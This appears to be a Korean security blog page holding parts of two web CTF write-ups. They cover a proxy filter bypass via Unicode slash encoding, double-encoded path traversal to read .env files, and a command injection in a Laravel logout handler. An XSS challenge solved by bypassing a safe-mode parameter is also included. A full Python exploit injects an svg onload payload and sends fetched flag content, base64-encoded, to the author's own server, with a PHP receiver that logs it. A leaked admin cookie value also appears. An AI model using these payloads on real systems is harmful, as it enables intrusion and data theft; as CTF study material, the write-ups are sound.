getproxy?=/get_secret/key 요런식으로 요청해주면 되는데 /랑 get_sercert를 필터한다. get_sercret같은 경우 검증한 담에 lowercase해줘서 get_secreT 이런식으로 써줌 되고 /같은 경우 필터 후에 Buffer.from(fields.url.toLowerCase(), "latin1").toString(); 요 작업을 거치기 땜에 %c4%af 요 값으로 bypass해주면 된다.


그리고 key같은 경우 ///proc/self/environ 파일 내용 확인해보면 존재한다.


payload = %c4%afget_secreT%c4%aff0af17449a83681de22db7ce16672f16f37131bec0022371d4ace5d1854301e0



online-album


이건 풀려고보니까 대회가 끝나서 문제를 못봤었는데, 대회 종료 후에도 서버가 계속 열려있길래 한번 풀어봤다.


문제에 들어가보면 다운로드 기능이 있는데 경로를 아래와 같은 형태로 url double encoding해주면 파일 다운로드가 가능하다.


/download/%25%32%65%25%32%65%25%32%66.env


이걸로 .env읽어서 app_key따고 cve나온걸로 rce해봤는데 패치 버전인지 잘 안됬다.


그래서 좀 헤매다 기능중에 주석에] 파일 목록들을 base64인코딩해서 뿌려주는 기능이 있었다.

/album/cars

 <!-- Debug: 

MS5qcGVn.5d7896147325e

Mi5qcGVn.5d78961473265

My5qcGVn.5d78961473268

NC5qcGVn.5d7896147326b

NS5qcGVn.5d7896147326e

 -->


다운로드 할때처럼 url double 인코딩해주면 다른 경로 디렉토리 리스팅이 가능해서 이걸로 플래그 파일을 찾아봤는데 도저히 안보였다.


그래서 일단 소스를 쭉쭉 다운로드 받다보니 auto_logout 기능 수행 시 command injection이 가능했다.



    public function auto_logout(Request $request)

    {

        Auth::logout();

        //delete file after logout

        $cmd = 'rm "'.storage_path().'/framework/sessions/'.escapeshellarg($request->logut_token).'"';

        shell_exec($cmd);

    }


이걸로 명령어 실행해서 find로 플래그 파일찾아보니까 플래그 디렉토리가 숨김형태로 되어있었다. 
이거때문에 리스팅 기능에서 플래그 파일이 안보였었던거고 여기서부턴 그냥 플래그 파일명 찾아서 읽어줬다.







'CTF > Writeup' 카테고리의 다른 글

InCTF 2019 Web Write up  (0) 2019.09.23
CSAW CTF 2019 Web Write up  (0) 2019.09.16
2019 사이버작전 경연대회 THE CAMP  (0) 2019.08.17
DEF CON CTF Qualifier 2019 vitor  (0) 2019.07.15
DEF CON CTF Qualifier 2019 veryandroidso  (0) 2019.07.10
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

대회 시간안에 못풀고 대회 종료 후 힌트를 듣고 풀었다. 대회시간 내내 잡고있었는데 못풀어서 너무 아쉬웠다.


문제는 들어가보면 간단한 글쓰기 기능이 있고 해당 게시글을 view하는 페이지가 있다. 글쓸때 XSS 박아넣고 view URL을 admin한테 보내주면 된다.


view 페이지는 safe mode랑 unsafe mode 두가지가 존재하는데 safe mode에는 csp로 script-src 'self'가 걸려있다. 


그리고 admin한테 view url을 넘길때는 safe mode로만 전송이 가능하다.


첨엔 csp 우회해보려했는데 업로드 기능,서버 내 jsonp, jsonp처럼 쓸 수 있는 형태의 페이지, angularjs 등 시도할만한게 딱히 안보였다.


그러다 생각을 바꿔서 그냥 admin한테 url을 보내는 기능을 bypass해서 unsafe mode의 url을 보내는 식으로 시도해봤고 safe_mode 파라미터를 safe%7fmode 이런식으로 전송하니 bypass가되서 unsafe mode로 admin한테 url을 보내 xss를 실행시킬 수 있었다.


여기까지 풀었을때가 11시 좀 넘었고 쿠키 값 leak 하고나서 그냥 끝났다고 생각했다.


근데 주석에 있는 secret.php에 leak한 쿠키 값 세팅하고 들어갔보니 admin이 아니라했다.


여기서부터 멘붕의 시작이었다. leak한 값이 cred=y0u_4r3_g0000000d_47_byb_!!; PHPSESSID=lpbtodlctim7lnul88ig9bd9n0 이런 값이었는데 cred는 고정되어있었고 PHPSESSID는 봇이 xss가 박힌 view 페이지에 접근할 때 마다 바뀌는 상태였다.


admin php session이 고정이 안되어있길래 cred가 인증수단인가 싶어서 저걸로 별에별짓을 다했는데 도저히 뭐가 안나왔다. 


그렇게 세션따고 7시간을 별의별 삽질을 다하다 대회가 종료되었다.


그리고 대회종료 후에 팀동생이 문제푼 팀에서 swap 파일이 있었다고 알려줘서 설마하고 .secret.php.swp에 들어가보니까 swap 파일이 있었다....


swap 복구해서 소스보면 flag 페이지 있는데 그냥 leak한 cred=y0u_4r3_g0000000d_47_byb_!!; 쿠키에 박아넣고 secret.php가 아닌 admin.phar/flag.php 요청하니까 바로 플래그가 나왔다..


뭔가 secret.php 페이지 접근할때 단순 leak한 세션값이 아니고 뭔가 추가적인 인증수단이 있어서 안되는거라고 확신하고 문제를 풀다보니 한번쯤 시도해봤을번한 부분을 놓친것 같고 많이 아쉬웠다.


---추가---


대회때도 bypass되는 로직이 뭔가 이상하다고 느꼈었는데 확실하진 않지만 내가 문제를 푼 방식은 출제자가 의도하지 않은 방법인거 같다. 대회때는 빠르게 풀려다보니 그냥 대충 우회되는거 나와서 넘어갔었는데 생각해보니 그냥 iframe이나 object로 unsafe page load하는 구문을 safe mode page에 넣으면 csp 우회되는 문제였다. 


exploit.py


import requests

import time

import random

import os


my_webroot_dir = "/var/www/html/"   

my_server = "http://my_ip/"       


def write(user_session):

    url = "http://52.78.85.107/write_back.php"

    headers = {'Cookie': 'PHPSESSID='+user_session}

    payload = """

    </textarea>"""+str(random.randrange(100000,10000000))+"""<svg/onload="var xhr=new XMLHttpRequest();xhr.open('get','/admin.phar/flag.php',false);xhr.send();location.href='"""+my_server+"""/file.php?0='+btoa(xhr.responseText)";/>

    """

    params = {'regiment': '1','company':'1','name':'Hiadmin','body':payload}

    response = requests.post(url, data=params, headers=headers)

    result = response.text

    start = result.find("lid=")

    end = result.find("#")

    return result[start+4:end]


def send(payload,user_session):

    url = "http://52.78.85.107/submit.php"

    headers = {'Cookie': 'PHPSESSID='+user_session}

    abcd = "http://52.78.85.107/view.php?safe\x7fview=1&lid="+payload

    params = {'lid': payload, 'url': abcd}

    response = requests.post(url, data=params, headers=headers)

    result = response.text


def get_user_session():

    url = "http://52.78.85.107/index.php"

    response = requests.get(url)

    result = response.headers['Set-Cookie'].replace("PHPSESSID=","").replace("; path=/","")

    return result


user_session = get_user_session()

result = write(user_session)

time.sleep(1)

send(result,user_session)

time.sleep(5)

for i in range(0,10):

    try:

        f = open(my_webroot_dir+"/log.txt","r")

        print f.read()

        f.close()

        break

    except:

        continue


file.php


<?php

file_put_contents("./log.txt",base64_decode($_GET[0])."</br>",FILE_APPEND);

?>


'CTF > Writeup' 카테고리의 다른 글

CSAW CTF 2019 Web Write up  (0) 2019.09.16
DefCamp CTF 2019 Web Write up  (0) 2019.09.09
DEF CON CTF Qualifier 2019 vitor  (0) 2019.07.15
DEF CON CTF Qualifier 2019 veryandroidso  (0) 2019.07.10
ISITDTU CTF 2019 Web Write up  (0) 2019.07.01
블로그 이미지

JeonYoungSin

메모 기록용 공간

,